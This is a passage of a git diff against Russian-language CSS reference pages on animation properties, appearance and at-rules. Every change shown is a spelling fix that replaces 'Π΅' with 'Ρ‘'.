<dd>По ΠΎΠΊΠΎΠ½Ρ‡Π°Π½ΠΈΠΈ анимации элСмСнт сохранит стили послСднСго ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ ΠΊΠ°Π΄Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСтся значСниями {{cssxref("animation-direction")}} ΠΈ {{cssxref("animation-iteration-count")}}:
<table class="standard-table">
@@ -56,22 +56,22 @@ animation-fill-mode: both, forwards, none;
</tr>
<tr>
<td><code>alternate</code></td>
- <td>Ρ‡Π΅Ρ‚Π½ΠΎΠ΅</td>
+ <td>Ρ‡Ρ‘Ρ‚Π½ΠΎΠ΅</td>
<td><code>0%</code> ΠΈΠ»ΠΈ <code>from</code></td>
</tr>
<tr>
<td><code>alternate</code></td>
- <td>Π½Π΅Ρ‡Π΅Ρ‚Π½ΠΎΠ΅</td>
+ <td>Π½Π΅Ρ‡Ρ‘Ρ‚Π½ΠΎΠ΅</td>
<td><code>100%</code> ΠΈΠ»ΠΈ <code>to</code></td>
</tr>
<tr>
<td><code>alternate-reverse</code></td>
- <td>Ρ‡Π΅Ρ‚Π½ΠΎΠ΅</td>
+ <td>Ρ‡Ρ‘Ρ‚Π½ΠΎΠ΅</td>
<td><code>100%</code> ΠΈΠ»ΠΈ <code>to</code></td>
</tr>
<tr>
<td><code>alternate-reverse</code></td>
- <td>Π½Π΅Ρ‡Π΅Ρ‚Π½ΠΎΠ΅</td>
+ <td>Π½Π΅Ρ‡Ρ‘Ρ‚Π½ΠΎΠ΅</td>
<td><code>0%</code> ΠΈΠ»ΠΈ <code>from</code></td>
</tr>
</tbody>
@@ -114,8 +114,8 @@ animation-fill-mode: both, forwards, none;
<pre class="brush: html">&lt;p&gt;НавСдитС курсор ΠΌΡ‹ΡˆΠΈ Π½Π° сСрый Π±Π»ΠΎΠΊ&lt;/p&gt;
&lt;div class="demo"&gt;
- &lt;div class="grows"&gt;Π­Ρ‚ΠΎΡ‚ просто растСт&lt;/div&gt;
- &lt;div class="growsandstays"&gt;Π­Ρ‚ΠΎΡ‚ растСт ΠΈ остаСтся большим&lt;/div&gt;
+ &lt;div class="grows"&gt;Π­Ρ‚ΠΎΡ‚ просто растёт&lt;/div&gt;
+ &lt;div class="growsandstays"&gt;Π­Ρ‚ΠΎΡ‚ растёт ΠΈ остаётся большим&lt;/div&gt;
&lt;/div&gt;</pre>
<h3 id="CSS">CSS</h3>
diff --git a/files/ru/web/css/animation-iteration-count/index.html b/files/ru/web/css/animation-iteration-count/index.html
index 653e843e65..9039dcfedb 100644
--- a/files/ru/web/css/animation-iteration-count/index.html
+++ b/files/ru/web/css/animation-iteration-count/index.html
@@ -17,7 +17,7 @@ translation_of: Web/CSS/animation-iteration-count
<p><a href="/ru/CSS" title="CSS">CSS</a><code><font face="Open Sans, Arial, sans-serif"> свойство </font><strong>animation-iteration-count</strong></code> опрСдСляСт сколько Ρ€Π°Π· Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ Ρ†ΠΈΠΊΠ», ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΡΡ.</p>
-<p>НаиболСС ΡƒΠ΄ΠΎΠ±Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ это свойство Π² сокращСнном Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π΅Β {{ cssxref("animation") }}, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ всС Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ свойства.</p>
+<p>НаиболСС ΡƒΠ΄ΠΎΠ±Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ это свойство Π² сокращённом Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π΅Β {{ cssxref("animation") }}, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ всС Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ свойства.</p>
<p>{{cssinfo}}</p>
@@ -36,7 +36,7 @@ animation-iteration-count: 2, 0, infinite;
<dt><code>infinite</code></dt>
<dd>Анимация повторяСтся бСсконСчно.</dd>
<dt><code>&lt;number&gt;</code></dt>
- <dd>Бколько Ρ€Π°Π· анимация Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡ‚ΡŒΡΡ; ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ 1. ΠžΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ значСния Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ. МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ Ρ†Π΅Π»Ρ‹Π΅ значСния, для проигрывания части Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 0.5 воспроизвСдСт ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρƒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π°).</dd>
+ <dd>Бколько Ρ€Π°Π· анимация Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡ‚ΡŒΡΡ; ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ 1. ΠžΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ значСния Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ. МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ Ρ†Π΅Π»Ρ‹Π΅ значСния, для проигрывания части Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 0.5 воспроизвСдёт ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρƒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π°).</dd>
</dl>
<h3 id="ΠŸΡ€Π°Π²ΠΈΠ»Π°_синтаксиса">ΠŸΡ€Π°Π²ΠΈΠ»Π° синтаксиса</h3>
diff --git a/files/ru/web/css/animation-name/index.html b/files/ru/web/css/animation-name/index.html
index 2e6ff16b28..a81e2e82d6 100644
--- a/files/ru/web/css/animation-name/index.html
+++ b/files/ru/web/css/animation-name/index.html
@@ -13,7 +13,7 @@ translation_of: Web/CSS/animation-name
-<p>Часто ΡƒΠ΄ΠΎΠ±Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сокращСнноС свойство {{cssxref("animation")}} для ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ установки всСх свойств Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</p>
+<p>Часто ΡƒΠ΄ΠΎΠ±Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сокращённоС свойство {{cssxref("animation")}} для ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ установки всСх свойств Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -40,7 +40,7 @@ animation-name: <a href="/en-US/docs/Web/CSS/unset">unset</a>
<dt><code>none</code></dt>
<dd>Π­Ρ‚ΠΎ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово, ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰Π΅Π΅ отсутствиС ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… ΠΊΠ°Π΄Ρ€ΠΎΠ². Оно ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано для ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π±Π΅Π· измСнСния порядка других ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠ², ΠΈΠ»ΠΈ для ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, ΠΏΠΎΡΡ‚ΡƒΠΏΠ°ΡŽΡ‰Π΅ΠΉ ΠΈΠ· каскада.</dd>
<dt>{{cssxref("custom-ident","&lt;custom-ident&gt;")}}</dt>
- <dd>Π‘Ρ‚Ρ€ΠΎΠΊΠ°, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΡŽΡ‰Π°Ρ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ. Π­Ρ‚ΠΎΡ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ состоит ΠΈΠ· ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ Π±ΡƒΠΊΠ² Π±Π΅Π· ΡƒΡ‡Π΅Ρ‚Π° рСгистра ΠΎΡ‚ <code>a</code> Π΄ΠΎ <code>z</code>, Ρ†ΠΈΡ„Ρ€ ΠΎΡ‚ <code>0</code> Π΄ΠΎ <code>9</code>, подчСркивания (<code>_</code>), ΠΈ/ΠΈΠ»ΠΈ Ρ‡Π΅Ρ€Ρ‚Ρ‹ (<code>-</code>). ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ символ Π±Π΅Π· Ρ‡Π΅Ρ€Ρ‚Ρ‹ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π±ΡƒΠΊΠ²ΠΎΠΉ (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, Π±Π΅Π· Ρ†ΠΈΡ„Ρ€Ρ‹ Π² Π½Π°Ρ‡Π°Π»Π΅, Π΄Π°ΠΆΠ΅ Ссли ΠΏΠ΅Ρ€Π΅Π΄ Π½ΠΈΠΌ стоит Ρ‡Π΅Ρ€Ρ‚Π°.) ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π΄Π²Π΅ Ρ‡Π΅Ρ€Ρ‚Ρ‹ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Ρ‹ Π² Π½Π°Ρ‡Π°Π»Π΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π°. Оно Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ <code>none</code>, <code>unset</code>, <code>initial</code>, ΠΈΠ»ΠΈ <code>inherit</code> Π² любой ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ случаСв.</dd>
+ <dd>Π‘Ρ‚Ρ€ΠΎΠΊΠ°, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΡŽΡ‰Π°Ρ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ. Π­Ρ‚ΠΎΡ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ состоит ΠΈΠ· ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ Π±ΡƒΠΊΠ² Π±Π΅Π· ΡƒΡ‡Ρ‘Ρ‚Π° рСгистра ΠΎΡ‚ <code>a</code> Π΄ΠΎ <code>z</code>, Ρ†ΠΈΡ„Ρ€ ΠΎΡ‚ <code>0</code> Π΄ΠΎ <code>9</code>, подчёркивания (<code>_</code>), ΠΈ/ΠΈΠ»ΠΈ Ρ‡Π΅Ρ€Ρ‚Ρ‹ (<code>-</code>). ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ символ Π±Π΅Π· Ρ‡Π΅Ρ€Ρ‚Ρ‹ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π±ΡƒΠΊΠ²ΠΎΠΉ (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, Π±Π΅Π· Ρ†ΠΈΡ„Ρ€Ρ‹ Π² Π½Π°Ρ‡Π°Π»Π΅, Π΄Π°ΠΆΠ΅ Ссли ΠΏΠ΅Ρ€Π΅Π΄ Π½ΠΈΠΌ стоит Ρ‡Π΅Ρ€Ρ‚Π°.) ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π΄Π²Π΅ Ρ‡Π΅Ρ€Ρ‚Ρ‹ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Ρ‹ Π² Π½Π°Ρ‡Π°Π»Π΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π°. Оно Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ <code>none</code>, <code>unset</code>, <code>initial</code>, ΠΈΠ»ΠΈ <code>inherit</code> Π² любой ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ случаСв.</dd>
</dl>
<h3 id="Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ_синтаксис">Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ синтаксис</h3>
diff --git a/files/ru/web/css/animation-play-state/index.html b/files/ru/web/css/animation-play-state/index.html
index 293765d1e9..fc92ee5605 100644
--- a/files/ru/web/css/animation-play-state/index.html
+++ b/files/ru/web/css/animation-play-state/index.html
@@ -9,7 +9,7 @@ translation_of: Web/CSS/animation-play-state
<p>Бвойство <strong><code>animation-play-state</code></strong> опрСдСляСт состояниС Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, ΠΏΠ°ΡƒΠ·Ρ‹ ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹ΡˆΠ°.Β Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ состояниС Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² скриптах.</p>
-<p>Если Π²ΠΎΠ·ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠΎΡΡ‚Π°Π½ΠΎΠ²Π»Π΅Π½Π½ΡƒΡŽ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ, Ρ‚ΠΎ ΠΎΠ½Π° запустит Π΅Ρ‘ с Ρ‚ΠΎΠ³ΠΎ мСста, Π³Π΄Π΅ ΠΎΠ½Π° Π±Ρ‹Π»Π° поставлСна Π½Π° ΠΏΠ°ΡƒΠ·Ρƒ, Π° Π½Π΅ начнСтся с Π½Π°Ρ‡Π°Π»Π°.</p>
+<p>Если Π²ΠΎΠ·ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠΎΡΡ‚Π°Π½ΠΎΠ²Π»Π΅Π½Π½ΡƒΡŽ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ, Ρ‚ΠΎ ΠΎΠ½Π° запустит Π΅Ρ‘ с Ρ‚ΠΎΠ³ΠΎ мСста, Π³Π΄Π΅ ΠΎΠ½Π° Π±Ρ‹Π»Π° поставлСна Π½Π° ΠΏΠ°ΡƒΠ·Ρƒ, Π° Π½Π΅ начнётся с Π½Π°Ρ‡Π°Π»Π°.</p>
<p>{{cssinfo}}</p>
diff --git a/files/ru/web/css/animation-timing-function/index.html b/files/ru/web/css/animation-timing-function/index.html
index 5b4d0660b6..5e0e2e857d 100644
--- a/files/ru/web/css/animation-timing-function/index.html
+++ b/files/ru/web/css/animation-timing-function/index.html
@@ -50,7 +50,7 @@ translation_of: Web/CSS/animation-timing-function
<dl>
<dt><code>&lt;timingfunction&gt;</code></dt>
- <dd>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ {{cssxref("&lt;timing-function&gt;")}} прСдставляСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ расчСта Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ для связи с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ свойством animate, ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π² {{cssxref("animation-property")}}.</dd>
+ <dd>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ {{cssxref("&lt;timing-function&gt;")}} прСдставляСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ расчёта Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ для связи с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ свойством animate, ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π² {{cssxref("animation-property")}}.</dd>
</dl>
<h3 id="Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ_синтаксис">Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ синтаксис</h3>
diff --git a/files/ru/web/css/appearance/index.html b/files/ru/web/css/appearance/index.html
index 3ae986fbd9..b84ac013b4 100644
--- a/files/ru/web/css/appearance/index.html
+++ b/files/ru/web/css/appearance/index.html
@@ -2624,7 +2624,7 @@ div{ color: black;
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>НиТСпривСдСнный ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ элСмСнт, выглядящий ΠΊΠ°ΠΊ ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов Π² Firefox:</p>
+<p>НиТСпривСдённый ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ элСмСнт, выглядящий ΠΊΠ°ΠΊ ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов Π² Firefox:</p>
<pre class="brush: css">.exampleone {
-moz-appearance: toolbarbutton;
diff --git a/files/ru/web/css/at-rule/index.html b/files/ru/web/css/at-rule/index.html
index 38cf88c874..f318aebe28 100644
--- a/files/ru/web/css/at-rule/index.html
+++ b/files/ru/web/css/at-rule/index.html
@@ -18,17 +18,17 @@ translation_of: Web/CSS/At-rule
<ul>
<li>{{cssxref("@charset")}} β€” ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ символов, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ стилСй.</li>
<li>{{cssxref("@import")}} β€” Π‘ΠΎΠΎΠ±Ρ‰Π°Π΅Ρ‚ Π΄Π²ΠΈΠΆΠΊΡƒ CSS Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ внСшнюю Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй.</li>
- <li>{{cssxref("@namespace")}} β€” Π‘ΠΎΠΎΠ±Ρ‰Π°Π΅Ρ‚ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡƒ CSS, Ρ‡Ρ‚ΠΎ всС Π΅Π³ΠΎ содСрТимоС Π΄ΠΎΠ»ΠΆΠ½ΠΎ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡ с приставкой пространства ΠΈΠΌΠ΅Π½ XML.</li>
+ <li>{{cssxref("@namespace")}} β€” Π‘ΠΎΠΎΠ±Ρ‰Π°Π΅Ρ‚ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡƒ CSS, Ρ‡Ρ‚ΠΎ всС Π΅Π³ΠΎ содСрТимоС Π΄ΠΎΠ»ΠΆΠ½ΠΎ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡ с приставкой пространства ΠΈΠΌΡ‘Π½ XML.</li>
<li><strong><em>Π’Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ at-ΠΏΡ€Π°Π²ΠΈΠ»Π°</em></strong>Β β€” ΠŸΠΎΠ΄ΠΌΠ½ΠΎΠΆΠ΅ΡΡ‚Π²ΠΎ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΡ€Π°Π²ΠΈΠ» условной Π³Ρ€ΡƒΠΏΠΏΡ‹.
<ul>
- <li>{{cssxref("@media")}} β€” УсловноС Π³Ρ€ΡƒΠΏΠΏΠΎΠ²ΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Π³ΠΎ содСрТимоС, Ссли устройство соотвСтствуСт критСриям условия, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ мСдиавыраТСния.</li>
+ <li>{{cssxref("@media")}} β€” УсловноС Π³Ρ€ΡƒΠΏΠΏΠΎΠ²ΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Π³ΠΎ содСрТимоС, Ссли устройство соотвСтствуСт критСриям условия, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ мСдиавыраТСния.</li>
<li>{{cssxref("@supports")}} — УсловноС Π³Ρ€ΡƒΠΏΠΏΠΎΠ²ΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Π³ΠΎ содСрТимоС, Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ соотвСтствуСт критСриям Π΄Π°Π½Π½ΠΎΠ³ΠΎ условия.</li>
<li>{{cssxref("@document")}} {{experimental_inline}} β€” УсловноС Π³Ρ€ΡƒΠΏΠΏΠΎΠ²ΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Π³ΠΎ содСрТимоС, Ссли Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ примСняСтся Ρ‚Π°Π±Π»ΠΈΡ†Π° стилСй, соотвСтствуСт критСриям Π΄Π°Π½Π½ΠΎΠ³ΠΎ условия.</li>
- <li>{{cssxref("@page")}} β€” ΠžΠΏΠΈΡΡ‹Π²Π°Π΅Ρ‚ аспСкт ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ‡Π°Ρ‚ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</li>
+ <li>{{cssxref("@page")}} β€” ΠžΠΏΠΈΡΡ‹Π²Π°Π΅Ρ‚ аспСкт ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ‡Π°Ρ‚ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</li>
<li>{{cssxref("@font-face")}} β€” ΠžΠΏΠΈΡΡ‹Π²Π°Π΅Ρ‚ аспСкт внСшнСго ΡˆΡ€ΠΈΡ„Ρ‚Π° для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ.</li>
<li>{{cssxref("@keyframes")}} β€” ΠžΠΏΠΈΡΡ‹Π²Π°Π΅Ρ‚ аспСкт ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹Ρ… шагов Π² ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ CSS.</li>
<li>{{cssxref("@viewport")}} {{experimental_inline}} β€”Β ΠžΠΏΠΈΡΡ‹Π²Π°Π΅Ρ‚ аспСкты области просмотра для устройств с малСньким экраном. (Π² настоящСС врСмя Π½Π° стадии Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°)</li>
- <li>{{cssxref("@counter-style")}} β€” ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅Β counter-styles, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π½Π°Π±ΠΎΡ€Π° стилСй.</li>
